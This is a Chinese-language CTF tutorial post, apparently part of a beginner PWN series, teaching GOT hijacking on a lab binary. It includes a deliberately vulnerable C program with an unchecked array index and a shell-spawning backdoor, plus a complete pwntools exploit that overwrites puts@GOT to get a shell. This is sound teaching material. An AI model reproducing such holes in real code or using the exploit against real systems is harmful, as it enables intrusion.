iT邦幫忙

2024 iThome 鐵人賽

DAY 10
0

Lab 網址

前言

前一天我們介紹了 GOT 和 Lazy Binding 的機制,今天要介紹的是如何利用這些機制進行攻擊,也就是 GOT Hijacking。

簡介

由於 Lazy Binding 的機制,GOT 是可寫的。因此,如果能夠覆蓋 GOT 的值,那麼下次呼叫該函數時,就可以控制即將執行的函數指針。這種情況通常出現在陣列未驗證輸入範圍、記憶體越界(即所謂的 out of bounds,oob)或是透過格式化字串(format string)將特定值寫入 GOT 的情況。

Lab

#include<stdio.h>
#include<stdlib.h>

int backdoor(const char *arg){
    system("/bin/sh");
}

long long value[4];

int main(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    long long index;
    for(int i = 0; i < 4; i++){
        puts("Enter a index to store a value: ");
        scanf("%lld", &index);
        puts("Enter a value: ");
        scanf("%lld", &value[index]);
    }
    if(value[0] != 123){
        puts("CHECK FAILED\n");
        exit(0);
    }
    if(value[1] != 456){
        puts("CHECK FAILED\n");
        exit(0);
    }
    if(value[2] != 789){
        puts("CHECK FAILED\n");
        exit(0);
    }
    if(value[3] != 101112){
        puts("CHECK FAILED\n");
        exit(0);
    }
    puts("CHECK PASSED\n");
    return 0;
}

使用以下指令進行編譯(注意,預設編譯會是 Partial RELRO):

gcc src/got.c -o ./got/share/got -fno-stack-protector -no-pie

大家可以嘗試練習這道題目,或者繼續閱讀以下的解題步驟。

writeup

首先,這道題目有一個 backdoor() 函數,該函數會直接打開一個 shell。此外,程式允許我們四次機會編輯陣列 value 中的值,並且可以自由選擇要修改哪個索引值。由於沒有驗證索引範圍,因此我們可以利用 oob(out of bounds)漏洞,再加上 GOT Hijacking,將某個函數指針覆蓋,使其執行 backdoor 函數。

這題相對簡單,因為可以使用 objdump 來 disassemble 程式,從中計算應該填入哪些位置。從 main 函數可以看到 value 陣列的位址是 0x404080。

https://ithelp.ithome.com.tw/upload/images/20240924/20163008U8JJTnn154.png

接下來我們需要找出該填入的位置與 value 陣列位址之間的差異。在這裡,我們選擇覆蓋 puts 函數,因為在寫入值之後會呼叫 puts 函數。確認一下 puts 的 GOT 位址是 0x404000,依此就能判斷應該覆蓋哪個索引。

https://ithelp.ithome.com.tw/upload/images/20240924/20163008UR42GSZ5N5.png

接著,我們要將 backdoor 函數的位址(0x401166)寫入。

https://ithelp.ithome.com.tw/upload/images/20240924/2016300810hSAJIxK0.png

現在所有資訊都已經掌握,可以開始編寫 exploit。

記得因為程式直接接收數字及數值,因此以字串的形式輸入即可。

完整 exploit:

from pwn import *

# r = process('../got/share/got')
r = remote('127.0.0.1', 10002)

value = 0x404080
puts_got = 0x404000
backdoor = 0x401166

offset = (puts_got - value) // 8
r.sendlineafter(b'Enter a index to store a value: \n', str(offset).encode())
r.sendlineafter(b'Enter a value: \n', str(backdoor).encode())
r.interactive()

solved!!

https://ithelp.ithome.com.tw/upload/images/20240924/20163008aJQWberZJa.png


上一篇
Day9-Lazy Binding & GOT
下一篇
Day11-Shellcode
系列文
PWN CTF 超入門筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言